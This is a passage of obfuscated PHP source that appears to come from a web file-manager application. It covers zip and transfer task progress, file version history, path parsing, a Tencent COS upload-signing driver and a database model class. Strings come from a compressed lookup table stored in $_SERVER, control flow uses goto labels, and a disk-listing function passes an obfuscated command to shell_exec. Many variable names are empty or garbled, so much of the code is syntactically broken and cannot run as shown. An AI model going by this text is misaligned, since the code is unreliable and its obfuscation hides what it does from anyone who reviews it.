$this->update(); } public function unzipAfter($߬) { $П =& $_SERVER[]; $ǀ =& $this->task; $ǀ[$П[1734]] = $П[108]; $ = IO::infoWithChildren($߬); $ơ = 0; $ǀ[$П[1699]] = array($П[1700] => $ơ + 1, $П[421] => $[$П[32]], $П[78] => $[$П[78]], $П[519] => $[$П[519]] ? $[$П[519]] : $[$П[78]]); if ($[$П[33]] == $П[192]) { $ǀ[$П[779]] = 1; } else { $ǀ[$П[779]] = $[$П[83]][$П[81]]; } $ǀ[$П[1051]] = $П[12]; $ǀ[$П[1692]] = 0; $ǀ[$П[1643]] = 0; $ǀ[$П[1690]] = 0; $ǀ[$П[1691]] = 0; $ǀ[$П[1688]] = $П[12]; $ǀ[$П[1695]] = 0; $ǀ[$П[756]] = $[$П[80]]; $this->update(); self::log($П[1736] . json_encode(array($ǀ, $))); } public function nameParse($) { $񢏹 =& $_SERVER[]; $Ե =& $this->task; if ($Ե[$񢏹[1734]] == $񢏹[1184]) { $Ե[$񢏹[1734]] = $񢏹[308]; $Ե[$񢏹[1695]] = 0; $Ե[$񢏹[756]] = 0; } $ = get_path_this($); if (strstr($, $񢏹[10])) { $Ե[$񢏹[1643]] += 1; $Ե[$񢏹[779]] += 1; } $Ե[$񢏹[1688]] = $; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[]; parent::startAfter(); Hook::bind($[1737], array($this, $[1732])); $ =& $this->task; $[$[1734]] = $[1184]; if (!$[$[1539]]) { $[$[1539]] = LNG($[1738]); } } protected function endAfter() { $㼸 =& $_SERVER[]; parent::endAfter(); Hook::unbind($㼸[1737], array($this, $㼸[1732])); } public function updateAfter() { $џ =& $_SERVER[]; $ =& $this->task; if (!$[$џ[779]] || !$[$џ[756]]) { return; } if ($[$џ[1734]] == $џ[1184]) { $л = $[$џ[1691]]; if ($[$џ[1692]] != $џ[1184]) { $л = 0; } $ڞ = ($[$џ[1695]] + $л) / $[$џ[756]]; $[$џ[1644]] = $ڞ * 0.3; } else { if ($[$џ[1734]] == $џ[308]) { $ڞ = $[$џ[1643]] / $[$џ[779]]; $[$џ[1644]] = 0.3 + $ڞ * 0.5; } else { if ($[$џ[1734]] == $џ[108]) { $ڞ = 0; if ($[$џ[1690]]) { $ڞ = $[$џ[1691]] / $[$џ[1690]]; } $[$џ[1644]] = 0.3 + 0.5 + $ڞ * 0.2; } } } if ($[$џ[1644]] > 0) { $꼖ޭ = timeFloat() - $[$џ[1646]] - $[$џ[1649]]; $[$џ[1650]] = $꼖ޭ * (1 - $[$џ[1644]]) / $[$џ[1644]]; } } public function copyFileStart($, $ى, $ҕ։, $Ӎ, $, $⿎) { $ =& $_SERVER[]; parent::copyFileStart($, $ى, $ҕ։, $Ӎ, $, $⿎); $ڽ =& $this->task; if ($ڽ[$[1734]] == $[308]) { $ڽ[$[1734]] = $[108]; } $this->update(); } public function copyFileEnd($, $疉, $ГĮ, $, $, $) { $ʅ =& $_SERVER[]; $ =& $this->task; $[$ʅ[1691]] = $[$ʅ[1690]]; $[$ʅ[1695]] += $[$ʅ[1690]]; $[$ʅ[1692]] = $ʅ[12]; $this->update(); } public function nameParse($㦃) { $ =& $_SERVER[]; $ =& $this->task; if ($[$[1643]] < $[$[779]]) { $ = get_path_this($㦃); if (strstr($, $[10])) { $[$[1643]] += 1; } } if ($[$[1734]] == $[1184]) { $[$[1734]] = $[308]; } $[$[1688]] = $㦃; $this->update(); } } goto dז; B: class IOHistory { public static $_historyBase = ''; function __construct() { } public static function bindEvent() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[90]]; if ($[$[1193]] != 1) { return; } if ($[$[1194]] <= 0) { return; } if (isset($_REQUEST[$[1195]]) && $_REQUEST[$[1195]] == $[89]) { return; } Hook::bind($[1196], $[1197]); Hook::bind($[1198], $[1199]); Hook::bind($[1200], $[1201]); Hook::bind($[1202], $[1203]); Hook::bind($[1204], $[1205]); Hook::bind($[1206], $[1207]); } public static function eventBeforeUpload($؝) { if ($؝[3] && $؝[3] != REPEAT_REPLACE) { return; } $֬ = self::parsePath($؝[0]); if (!$֬) { return; } self::add($֬); } public static function eventBeforeEdit($ହ) { $ڀ = self::parsePath($ହ[0]); if (!$ڀ) { return; } self::add($ڀ); } public static function eventBeforeCopyFile($, $ځ, $֜, $, $, $) { $Չ = $֜->getPathOuter($); $ƽ = self::parsePath($Չ); if (!$ƽ) { return; } self::add($ƽ); } public static function eventBeforeRename($³) { $Է =& $_SERVER[]; $ҭ = self::parsePath($³[0]); if (!$ҭ) { return; } $ͽ» = self::checkInHistory($ҭ); if (!$ͽ») { return; } if ($ͽ»[$Է[33]] == $Է[192]) { $Ԩ = self::listData($ҭ); if ($Ԩ && $Ԩ[$Է[364]]) { self::moveHistory($ҭ, $³[1]); } } else { IO::rename($ͽ»[$Է[78]], $³[1]); } } public static function eventBeforeMove($Ȥ) { $ =& $_SERVER[]; $ԧ = self::parsePath($Ȥ[0]); if (!$ԧ) { return; } $Ƣ = self::parsePath($Ȥ[1]); if (!$Ƣ) { return; } $ = $Ȥ[3]; $ = self::checkInHistory($ԧ); if (!$) { return; } $ڸʗ = self::pathHistory($Ƣ); if ($[$[33]] == $[192]) { $鿧 = self::listData($ԧ); $ڻҽ = rtrim($Ƣ, $[8]) . $[8] . ($ ? $ : get_path_this($ԧ)); $Ȱ = self::listData($ڻҽ); if ($鿧 && $鿧[$[364]] && $Ȱ && $Ȱ[$[364]]) { return self::clear($ԧ); } if ($鿧 && $鿧[$[364]]) { self::moveHistory($ԧ, $, $ڸʗ); } } else { IO::move($[$[78]], $ڸʗ, !1, $); self::clearEmptyFolder(IO::pathFather($[$[78]])); } } public static function eventAfterRemove($ӹ, $) { $滢ͪ =& $_SERVER[]; if (!$) { return; } $ = self::parsePath($ӹ[0]); if (!$) { return; } $»ۗ = self::checkInHistory($); if (!$»ۗ) { return; } if ($»ۗ[$滢ͪ[33]] == $滢ͪ[192]) { $ऽ = self::listData($, !1); if ($ऽ && $ऽ[$滢ͪ[364]]) { self::clear($, !1); } } else { IO::remove($»ۗ[$滢ͪ[78]]); self::clearEmptyFolder(IO::pathFather($»ۗ[$滢ͪ[78]])); } } private static function checkInHistory($𗌛) { $Ŗ = self::pathHistory($𗌛); if (!IO::exist($Ŗ)) { $Ŗ .= $_SERVER[][1208]; } return IO::exist($Ŗ) ? IO::info($Ŗ) : !1; } private static function parsePath($) { $끒 =& $_SERVER[]; if (!$) { return !1; } if ($GLOBALS[$끒[1209]]) { return; } $ = KodIO::parse($); $ = $[$끒[33]]; $ = !$ || $ == KodIO::KOD_IO || $ == KodIO::KOD_SHARE_ITEM; if (!$ || !$[$끒[1210]]) { return !1; } if (substr($, 0, strlen(DATA_PATH . $끒[1211])) == DATA_PATH . $끒[1211]) { return !1; } if ($ == KodIO::KOD_SHARE_ITEM) { $≫ = IO::init($); if ($≫->pathParse[$끒[1138]]) { return self::parsePath($≫->pathParse[$끒[1138]]); } return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } $ = array(self::$_historyBase, TEMP_PATH, BASIC_PATH . $끒[1212]); foreach ($ as $ѐ) { if (!$ && substr($, 0, strlen($ѐ)) == $ѐ) { return !1; } } self::log($GLOBALS[$끒[1133]] . $끒[1213] . $); return $; } private static function pathHistory($Ԕ) { $铯 =& $_SERVER[]; $۲ = self::$_historyBase . ltrim(KodIO::clear($Ԕ), $铯[8]); $۲ = str_replace(array($铯[1214]), array($铯[1215]), $۲); return $۲; } public static function log($) { } public static function historyCount($) { $ʰ =& $_SERVER[]; $܇ = array(); $򓄕 = array(); foreach ($ as $) { $ = get_path_father($); if (!$򓄕[$]) { $򓄕[$] = array(); } $򓄕[$][] = get_path_this($); } foreach ($򓄕 as $ => $Əڿ) { $߬ = self::parsePath($); if (!$߬) { continue; } foreach ($Əڿ as $餟) { $Ш = self::listData(rtrim($߬, $ʰ[8]) . $ʰ[8] . $餟, !1); if ($Ш && $Ш[$ʰ[364]]) { $܇[rtrim($, $ʰ[8]) . $ʰ[8] . $餟] = count($Ш[$ʰ[364]]); } } } return $܇; } public static function add($ۈٔ) { $Ҧ =& $_SERVER[]; $ۿ = self::listData($ۈٔ); if (!$ۿ) { return; } $ = Model($Ҧ[763])->get($Ҧ[1216]); $ٽ = $GLOBALS[$Ҧ[6]][$Ҧ[90]][$Ҧ[1194]]; $ = $ == $Ҧ[1217] ? 5 : $ٽ; if ($ٽ <= 0) { return; } $Ќߜ = IO::hashSimple($ۈٔ); $ޠƵ = IO::info($ۈٔ); $ = $ۿ[$Ҧ[364]]; if ($ޠƵ[$Ҧ[80]] == 0) { return; } if ($ޠƵ[$Ҧ[80]] >= 1024 * 1024 * 500) { return !1; } if ($ && $[0][$Ҧ[170]] == $Ќߜ) { return !0; } if (array_key_exists($Ҧ[195], $ޠƵ) && !$ޠƵ[$Ҧ[195]]) { return !1; } $Ë = short_id(time()); $᛺ = array($Ҧ[401] => $Ë, $Ҧ[170] => $Ќߜ, $Ҧ[32] => $ޠƵ[$Ҧ[32]] . $Ҧ[10] . date($Ҧ[1218]) . rand_string(1), $Ҧ[80] => $ޠƵ[$Ҧ[80]], $Ҧ[452] => USER_ID, $Ҧ[193] => time(), $Ҧ[1219] => $Ҧ[12]); IO::mkdir($ۿ[$Ҧ[1220]]); $ = IO::copy($ۈٔ, $ۿ[$Ҧ[1220]], !1, $᛺[$Ҧ[32]]); if (!$) { self::clearEmptyFolder($ۿ[$Ҧ[1220]]); return !1; } array_unshift($, $᛺); if (count($) > $) { $ = array_slice($, $); foreach ($ as $ѵ) { IO::remove($ۿ[$Ҧ[1220]] . $ѵ[$Ҧ[32]]); } $ = array_slice($, 0, $); } return self::saveData($ۿ[$Ҧ[1221]], $); } public static function remove($, $ߘ) { $˵ =& $_SERVER[]; $ = self::listData($); $͔ޑ = array(); if (!$) { return !1; } foreach ($[$˵[364]] as $) { if ($[$˵[401]] == $ߘ) { IO::remove($[$˵[1220]] . $[$˵[32]]); continue; } $͔ޑ[] = $; } return self::saveData($[$˵[1221]], $͔ޑ); } public static function clear($ЖĀ, $ = true) { $纳 =& $_SERVER[]; $ = self::listData($ЖĀ, $); if (!$) { return !1; } foreach ($[$纳[364]] as $) { IO::remove($[$纳[1220]] . $[$纳[32]]); } return self::saveData($[$纳[1221]], array()); } public static function moveHistory($̫, $ = '', $ = '') { $֞ =& $_SERVER[]; $ = self::listData($̫, !1); if (!$ || !$[$֞[364]]) { return !1; } $ = $֞[1208]; $ = $ ? $ : get_path_this($̫); $ = $ ? $ : $[$֞[1220]]; $ = substr(get_path_this($[$֞[1221]]), 0, -strlen($)); foreach ($[$֞[364]] as $ => $Է) { $˯ = $ . substr($Է[$֞[32]], strlen($)); $Ҵ = IO::move($[$֞[1220]] . $Է[$֞[32]], $, !1, $˯); if ($Ҵ) { $[$֞[364]][$][$֞[32]] = $˯; } } $[$֞[1221]] = IO::move($[$֞[1221]], $, !1, $ . $); self::saveData($[$֞[1221]], $[$֞[364]]); self::clearEmptyFolder($[$֞[1220]]); } public static function rollback($т, $) { $ =& $_SERVER[]; $ = self::listData($т); if (!$) { return; } $ = IO::info($т); foreach ($[$[364]] as $ؤ => $) { if ($[$[401]] == $) { self::add($т); $˂Ϯ = $[$[1220]] . $[$[32]]; $Уμ = IO::copy($˂Ϯ, IO::pathFather($т), REPEAT_REPLACE, $[$[32]]); if ($Уμ) { self::remove($т, $); } return $Уμ; } } return !1; } public static function setDetail($, $Ѩ, $߳ߊ) { $ =& $_SERVER[]; $ = self::listData($); if (!$) { return; } foreach ($[$[364]] as $׿ => $) { if ($[$[401]] == $Ѩ) { $[$[364]][$׿][$[1219]] = $߳ߊ; self::saveData($[$[1221]], $[$[364]]); return !0; } } return !1; } public static function fileInfo($, $ݟ) { $ᄀ =& $_SERVER[]; $Ԧ = self::listData($); if (!$Ԧ) { show_json(LNG($ᄀ[106]), !1); } $ = $ᄀ[12]; foreach ($Ԧ[$ᄀ[364]] as $މ => $) { if ($[$ᄀ[401]] != $ݟ) { continue; } $ = $Ԧ[$ᄀ[1220]] . $[$ᄀ[32]]; break; } if (!$) { show_json(LNG($ᄀ[106]), !1); } return IO::info($); } public static function fileOut($í, $ũ, $껷 = false) { $„ =& $_SERVER[]; $ = self::fileInfo($í, $ũ); $ =& $GLOBALS[$„[7]]; $껷 = isset($[$„[1184]]) && $[$„[1184]] == 1; if (isset($[$„[33]]) && $[$„[33]] == $„[1222]) { return IO::fileOutImage($[$„[78]], $[$„[1223]]); } IO::fileOut($[$„[78]], $껷, get_path_this($í)); } public static function listData($, $ށ = true) { $ڱ =& $_SERVER[]; if ($ށ && !IO::exist($)) { return !1; } if (!self::$_historyBase) { self::$_historyBase = self::getBasePath(); } if (substr($, 0, strlen(TEMP_PATH)) == TEMP_PATH) { return !1; } $̇䛃 = self::pathHistory($); $ = array($ڱ[1221] => $̇䛃 . $ڱ[1208], $ڱ[1220] => rtrim(get_path_father($̇䛃), $ڱ[8]) . $ڱ[8], $ڱ[364] => array()); $ = IO::getContent($[$ڱ[1221]]); if ($) { $ = json_decode($, !0); if (is_array($)) { $[$ڱ[364]] = $; } } return $; } private static function saveData($, $) { $݈ =& $_SERVER[]; self::log($݈[1224] . $ . $݈[71] . count($), $݈[745]); if ($) { return IO::setContent($, json_encode($)); } $浗 = IO::pathFather($); IO::remove($); self::clearEmptyFolder($浗); return !0; } public static function clearEmptyFolder($) { $ =& $_SERVER[]; if (trim($, $[8]) == trim(self::$_historyBase, $[8])) { return; } $ = IO::pathFather($); $ˡ = IO::has($, !0); if ($ˡ[$[202]] > 0 || $ˡ[$[203]] > 0) { return; } IO::remove($); self::clearEmptyFolder($); } private static function getBasePath() { $ =& $_SERVER[]; $Ģ = Model($[1225])->get($[1226]); if ($Ģ) { if (!IO::exist($Ģ)) { IO::mkdir($Ģ); } if (get_path_this($Ģ) == $[1211]) { $ = $[1227] . rand_string(8); @rename($Ģ, get_path_father($Ģ) . $[8] . $); $Ģ = DATA_PATH . $ . $[8]; file_put_contents(DATA_PATH . $[1228], $[12]); Model($[1225])->set($[1226], $Ģ); } return $Ģ; } $Ģ = DATA_PATH . $[1227] . rand_string(8) . $[8]; $Ģ = IO::mkdir($Ģ); $Ģ = rtrim($Ģ, $[8]) . $[8]; file_put_contents($Ģ . $[1228], $[12]); file_put_contents(DATA_PATH . $[1228], $[12]); Model($[1225])->set($[1226], $Ģ); return $Ģ; } } class KodIO { const KOD_SOURCE = "\173\163\x6f\165\162\x63\145\175"; const KOD_USER_RECYCLE = "\173\165\x73\x65\162\x52\145\143\x79\x63\x6c\145\175"; const KOD_USER_FAV = "\173\165\163\145\x72\106\141\166\175"; const KOD_USER_FILE_TAG = "\x7b\165\x73\145\x72\106\x69\154\x65\124\141\x67\x7d"; const KOD_USER_FILE_TYPE = "\x7b\165\163\x65\162\x46\x69\154\x65\x54\171\160\145\175"; const KOD_GROUP_ROOT_SELF = "\173\147\x72\157\x75\x70\x52\157\157\x74\x53\145\x6c\x66\x7d"; const KOD_USER_SHARE = "\173\165\163\x65\162\123\x68\141\x72\x65\175"; const KOD_USER_SHARE_LINK = "\x7b\165\163\x65\x72\x53\x68\x61\162\x65\x4c\x69\x6e\153\x7d"; const KOD_USER_SHARE_TO_ME = "\x7b\x73\150\141\162\145\124\x6f\115\x65\175"; const KOD_SHARE_ITEM = "\x7b\163\150\x61\162\x65\111\164\145\x6d\x7d"; const KOD_SHARE_LINK = "\173\x73\150\141\x72\x65\x49\164\x65\155\x4c\151\156\153\175"; const KOD_SEARCH = "\x7b\x73\x65\141\x72\143\x68\x7d"; const KOD_BLOCK = "\173\x62\x6c\157\143\x6b\x7d"; const KOD_IO = "\173\151\157\175"; const KOD_USER_RECENT = "\x7b\x75\x73\145\x72\122\145\x6e\143\145\156\x74\x7d"; const KOD_USER_DRIVER = "\x7b\x64\x72\x69\x76\x65\x72\x7d"; public static function typeList() { $ڙϟ =& $_SERVER[]; return array($ڙϟ[1229] => self::KOD_SOURCE, $ڙϟ[1230] => self::KOD_USER_RECYCLE, $ڙϟ[1231] => self::KOD_USER_FAV, $ڙϟ[1232] => self::KOD_USER_FILE_TAG, $ڙϟ[1233] => self::KOD_USER_FILE_TYPE, $ڙϟ[1234] => self::KOD_GROUP_ROOT_SELF, $ڙϟ[1235] => self::KOD_USER_SHARE, $ڙϟ[1236] => self::KOD_USER_SHARE_LINK, $ڙϟ[1237] => self::KOD_USER_SHARE_TO_ME, $ڙϟ[1238] => self::KOD_SHARE_ITEM, $ڙϟ[1239] => self::KOD_SHARE_LINK, $ڙϟ[1240] => self::KOD_SEARCH, $ڙϟ[1241] => self::KOD_BLOCK, $ڙϟ[1242] => self::KOD_IO, $ڙϟ[1243] => self::KOD_USER_RECENT, $ڙϟ[1244] => self::KOD_USER_DRIVER); } public static function parse($) { $ =& $_SERVER[]; $ = self::clear($); $lj = array_values(self::typeList()); preg_match($[1245], $, $); $攙 = array($[423] => !1, $[1246] => !1, $[420] => !1, $[78] => $, $[1155] => !1, $[1154] => $[12]); if (is_array($) && count($) == 5) { $Հ = $[1247] . $[2] . $[322]; if (in_array($Հ, $lj)) { $攙[$[1155]] = $[1]; $攙[$[33]] = $Հ; $攙[$[1248]] = substr($Հ, 1, -1); $攙[$[401]] = $[3]; } $攙[$[1154]] = $[4]; } $ċ = array($[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $攙[$[1210]] = in_array($攙[$[33]], $ċ); return $攙; } public static function isTruePath($) { $ڂ =& $_SERVER[]; if (substr($, 0, 1) != $ڂ[1247]) { return !0; } if (strpos($, $ڂ[409]) === 0) { return !0; } if (strpos($, $ڂ[1214]) === 0) { return !0; } if (strpos($, $ڂ[1249]) === 0) { return !0; } if (strpos($, $ڂ[1250]) === 0) { return !0; } if (strpos($, $ڂ[1251]) === 0) { return !0; } return !1; } public static function clear($) { $ =& $_SERVER[]; $ = str_replace(array($[1065], $[226]), $[53], $); $ = str_replace($[98], $[8], $); $ʢ = $[1252]; if (substr($, 0, 3) == $[1253]) { $ = substr($, 3); } while (strstr($, $ʢ)) { $ = str_replace($ʢ, $[8], $); } $ = preg_replace($[1254], $[8], $); if ($ == $[8]) { return $[8]; } $ = rtrim($, $[8]); return $; } public static function sourceID($ܩ) { $ =& $_SERVER[]; $ȧ = self::parse($ܩ); if ($ȧ[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1255]), !1); } return $ȧ[$[401]]; } public static function make($ֽ) { if (!$ֽ) { return !1; } return self::makePath(self::KOD_SOURCE, intval($ֽ)); } public static function makeShare($Ð, $) { return self::makePath(self::KOD_SHARE_ITEM, $Ð, $); } public static function makeFileTypePath($їր) { return self::makePath(self::KOD_USER_FILE_TYPE, $їր); } public static function makeFileTagPath($Ýʄ) { return self::makePath(self::KOD_USER_FILE_TAG, $Ýʄ); } public static function makePath($, $ʛ = '', $ϴ = '') { $Ԋ =& $_SERVER[]; $ = substr($, 1, -1); $燗 = $Ԋ[1256] . $ . $Ԋ[1257] . $ʛ . $Ԋ[1258]; $燗 = $ϴ ? $燗 . $ϴ . $Ԋ[8] : $燗; return $燗; } public static function hashPath($, $ = true) { $ܧ =& $_SERVER[]; $ڼԿ = is_array($) ? $ : IO::info($); $ = _get($ڼԿ, $ܧ[1259], $ܧ[12]); if (!$ && isset($ڼԿ[$ܧ[403]])) { $ڼԿ = IO::info(KodIO::make($ڼԿ[$ܧ[403]])); $ = _get($ڼԿ, $ܧ[1259], $ܧ[12]); } if (!$ && $) { $ = KodIO::parse($ڼԿ[$ܧ[78]]); if (!$[$ܧ[33]]) { $ = IO::hashSimple($ڼԿ[$ܧ[78]]); } } if (!$) { $ = md5($ڼԿ[$ܧ[78]] . $ڼԿ[$ܧ[80]] . $ڼԿ[$ܧ[86]]); } return $; } public static function initSystemPath() { $ȗٴ =& $_SERVER[]; if (defined($ȗٴ[1260])) { return; } define($ȗٴ[1260], self::systemPath($ȗٴ[1261])); define($ȗٴ[1262], self::systemPath($ȗٴ[1263])); define($ȗٴ[1264], self::systemPath($ȗٴ[1265])); define($ȗٴ[1266], self::systemPath($ȗٴ[1267])); IOHistory::bindEvent(); } public static function systemPath($̍) { $¢ˇ =& $_SERVER[]; $Ȋ = $¢ˇ[1268] . ucfirst($̍); $ܭ = Model($¢ˇ[763])->get($Ȋ); if ($ܭ) { return $ܭ; } if ($̍ == $¢ˇ[1261]) { $ܭ = self::make(Model($¢ˇ[818])->systemRootPathAdd($¢ˇ[537])); } else { $ܭ = self::systemPath($¢ˇ[1261]); $ۘ = self::sourceID($ܭ); $ܭ = self::make(Model($¢ˇ[818])->mkdir($ۘ, $̍)); } Model($¢ˇ[763])->set($Ȋ, $ܭ); return $ܭ; } public static function systemFolder($Ƃ) { $ɛ = IO_PATH_SYSTEM_SOURCE . $Ƃ; $ = Cache::get($ɛ); if (!$) { $ = IO::infoFull($ɛ); if (!$) { $ = IO::mkdir($ɛ, REPEAT_SKIP); } else { $ = $[$_SERVER[][78]]; } Cache::set($ɛ, $, 3600 * 10); } return $; } public static function defaultDriver() { return Model($_SERVER[][760])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $Ҫ = self::defaultDriver(); return $[1269] . $Ҫ[$[401]] . $[1258]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[1270]]; foreach ($ as $ => $Ǻ) { $˜ = $[1271] . $; $׌ = LNG($˜); if ($˜ != $׌) { $[$][$[32]] = $׌; } } return $; } public static function diskList($ = true) { $ = $_SERVER[][1272]; if ($) { $ûۺ = Cache::get($); if (is_array($ûۺ)) { return $ûۺ; } } $ûۺ = self::diskListGet(); Cache::set($, $ûۺ, 60); return $ûۺ; } public static function diskListGet() { $Ȼ =& $_SERVER[]; $Օ = array(); if ($GLOBALS[$Ȼ[6]][$Ȼ[1273]] == $Ȼ[1274]) { $ = $Ȼ[1275]; for ($쀿݂ = 0; $쀿݂ < strlen($); $쀿݂++) { $ = $[$쀿݂] . $Ȼ[1276]; if (file_exists($)) { $Օ[] = $; } } return $Օ; } if (!function_exists($Ȼ[99])) { $Օ[] = $Ȼ[828]; return $Օ; } $ = explode($Ȼ[226], shell_exec($Ȼ[1277])); array_shift($); array_pop($); $͇܀ = array($Ȼ[1278], $Ȼ[1279], $Ȼ[1280], $Ȼ[1281], $Ȼ[1282], $Ȼ[1283], $Ȼ[1284], $Ȼ[1285]); foreach ($ as $ؽ˛) { $Ͳ = preg_split($Ȼ[1286], $ؽ˛); $ = $Ͳ[count($Ͳ) - 1]; if (!strstr($Ͳ[0], $Ȼ[1287]) || !$) { continue; } $񽑪 = rtrim($, $Ȼ[8]) . $Ȼ[8]; if (in_array($񽑪, $͇܀)) { continue; } $Օ[] = $񽑪; } return $Օ; } public static function isSameDisk($ϑ, $٧) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1273]] == $[1274]) { return strtolower(substr($ϑ, 0, 1)) == strtolower(substr($٧, 0, 1)); } $ߚ = self::diskList(); $Ԋ = !1; $ = !1; sort($ߚ); $ߚ = array_reverse($ߚ); $ϑ = rtrim($ϑ, $[8]) . $[8]; $٧ = rtrim($٧, $[8]) . $[8]; foreach ($ߚ as $ݭ) { $Âن = strlen($ݭ); if (!$Ԋ && substr($ϑ, 0, $Âن) == $ݭ) { $Ԋ = $ݭ; } if (!$ && substr($٧, 0, $Âن) == $ݭ) { $ = $ݭ; } if ($Ԋ && $) { break; } } return $Ԋ === $; } public static function transferType($պ, $ޔ) { $ݢЋ =& $_SERVER[]; $ʼ = self::driverType($պ); $Ģʐ = self::driverType($ޔ); if ($ʼ[$ݢЋ[33]] == $Ģʐ[$ݢЋ[33]] && $ʼ[$ݢЋ[1288]] == $Ģʐ[$ݢЋ[1288]]) { return $ݢЋ[1289]; } if ($ʼ[$ݢЋ[33]] == $ݢЋ[857] && $Ģʐ[$ݢЋ[33]] == $ݢЋ[107]) { return $ݢЋ[1184]; } if ($ʼ[$ݢЋ[33]] == $ݢЋ[107] && $Ģʐ[$ݢЋ[33]] == $ݢЋ[857]) { return $ݢЋ[108]; } return $ݢЋ[1290]; } public static function driverType($) { $ꡥ =& $_SERVER[]; $ޔ = str_replace($ꡥ[1291], $ꡥ[12], strtolower($->getType())); if ($ޔ == $ꡥ[751] || $ޔ == $ꡥ[1292] || $ޔ == $ꡥ[1293]) { $ = self::defaultDriverInit(); } else { if ($ޔ == $ꡥ[1191] || $ޔ == $ꡥ[1294]) { $ = IO::init($->pathParse[$ꡥ[1138]]); } } $Λ = $->path; $ޔ = str_replace($ꡥ[1291], $ꡥ[12], strtolower($->getType())); if ($ޔ == $ꡥ[107]) { return array($ꡥ[33] => $ꡥ[107], $ꡥ[1288] => $ꡥ[12], $ꡥ[78] => $Λ); } return array($ꡥ[33] => $ꡥ[857], $ꡥ[1288] => $->pathDriver, $ꡥ[78] => $Λ); } public static function pathDriverType($ͷ) { return $ͷ ? self::driverType(IO::init($ͷ)) : !1; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($ġ) { parent::__construct($ġ); $this->signatureVersion($_SERVER[][211]); } public function uploadFormData($, $Ԍ = 3600) { $ٷ =& $_SERVER[]; $ޣ = $ٷ[191]; $ȸ = $ٷ[227]; $ = $ٷ[1295]; $ = gmdate($ٷ[1296], time() + $Ԍ); $֠ = (string) time() . $ٷ[71] . (string) (time() + $Ԍ); $ǚל = array($ٷ[1297] => $, $ٷ[1298] => array(array($ٷ[1299] => $ޣ), array($ٷ[1300] => $this->bucket), array($ٷ[1301], $ٷ[1302], $ٷ[12]), array($ٷ[1303] => $), array($ٷ[1304] => $ȸ), array($ٷ[1305] => $this->accessKey), array($ٷ[1306] => $֠))); $ǚל = json_encode($ǚל); $ň = hash_hmac($ٷ[227], $֠, $this->secret); $Ñ = sha1($ǚל); $ᱝ = hash_hmac($ٷ[227], $Ñ, $ň); $ަ = array($ٷ[1299] => $ޣ, $ٷ[1303] => $, $ٷ[1307] => base64_encode($ǚל), $ٷ[1304] => $ȸ, $ٷ[1305] => $this->accessKey, $ٷ[1308] => $֠, $ٷ[1309] => $ᱝ, $ٷ[174] => $this->getHost()); return $ަ; } public function fileOutLink($Ŭ܆) { $ =& $_SERVER[]; if (substr($Ŭ܆, 0, 7) == $[1310]) { $Ŭ܆ = $[1311] . substr($Ŭ܆, 7); } header($[158] . $Ŭ܆); die; } } goto D; e█: define($_SERVER[][0], $_SERVER[][1]); $_SERVER[䌖] = explode($_SERVER[][2], gzinflate(substr($_SERVER[][3], 10, -8))); function binCheckEq($, $ѕΉ) { return $ == $ѕΉ; } goto cϝ峄; d: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\151\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\x61\x62\x6c\x65", "\157\162\x64\x65\x72", "\x61\154\x69\141\163", "\150\x61\x76\151\156\147", "\x67\x72\x6f\165\x70", "\154\157\143\x6b", "\144\x69\163\164\151\156\143\164", "\x61\x75\x74\x6f", "\146\x69\154\164\x65\x72", "\166\x61\x6c\x69\144\141\x74\145", "\162\145\163\x75\154\164", "\x62\x69\156\x64", "\164\157\x6b\x65\156"); public function __construct($ԑ = '', $ې = '', $ = '') { $à =& $_SERVER[]; $this->_initialize(); if (!empty($ԑ)) { if (strpos($ԑ, $Ã[10])) { list($this->dbName, $this->name) = explode($Ã[10], $ԑ); } else { $this->name = $ԑ; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($ې)) { $this->tablePrefix = $Ã[12]; } elseif ($Ã[12] != $ې) { $this->tablePrefix = $ې; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($Ã[239]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[240])) { $ = $this->dbName ? $this->dbName : think_config($[241]); $ڱ = think_var_cache($[242] . strtolower(get_path_this($) . $[10] . $this->name)); if ($ڱ) { $ = think_config($[243]); if (empty($) || $ڱ[$[244]] == $) { $this->fields = $ڱ; return; } } } $this->flush(); } } public function flush() { $׃ =& $_SERVER[]; $this->db->setModel($this->name); $ڨ = $this->db->getFields($this->getTableName()); if (!$ڨ) { return !1; } $this->fields = array_keys($ڨ); $this->fields[$׃[245]] = !1; foreach ($ڨ as $؟ٵ => $) { $ߧ[$؟ٵ] = $[$׃[33]]; if ($[$׃[39]]) { $this->fields[$׃[246]] = $؟ٵ; if ($[$׃[42]]) { $this->fields[$׃[245]] = !0; } } } $this->fields[$׃[247]] = $ߧ; if (think_config($׃[243])) { $this->fields[$׃[244]] = think_config($׃[243]); } if (think_config($׃[240])) { $֒ = $this->dbName ? $this->dbName : think_config($׃[241]); think_var_cache($׃[242] . strtolower(get_path_this($֒) . $׃[10] . $this->name), $this->fields); } } public function switchModel($ơ, $ = array()) { $ֻ =& $_SERVER[]; $ = ucwords(strtolower($ơ)) . $ֻ[248]; if (!class_exists($)) { think_exception($ . think_lang($ֻ[249])); } $this->_extModel = new $($this->name); if (!empty($)) { foreach ($ as $ׂߒ) { $this->_extModel->setProperty($ׂߒ, $this->{$ׂߒ}); } } return $this->_extModel; } public function __set($潳, $) { 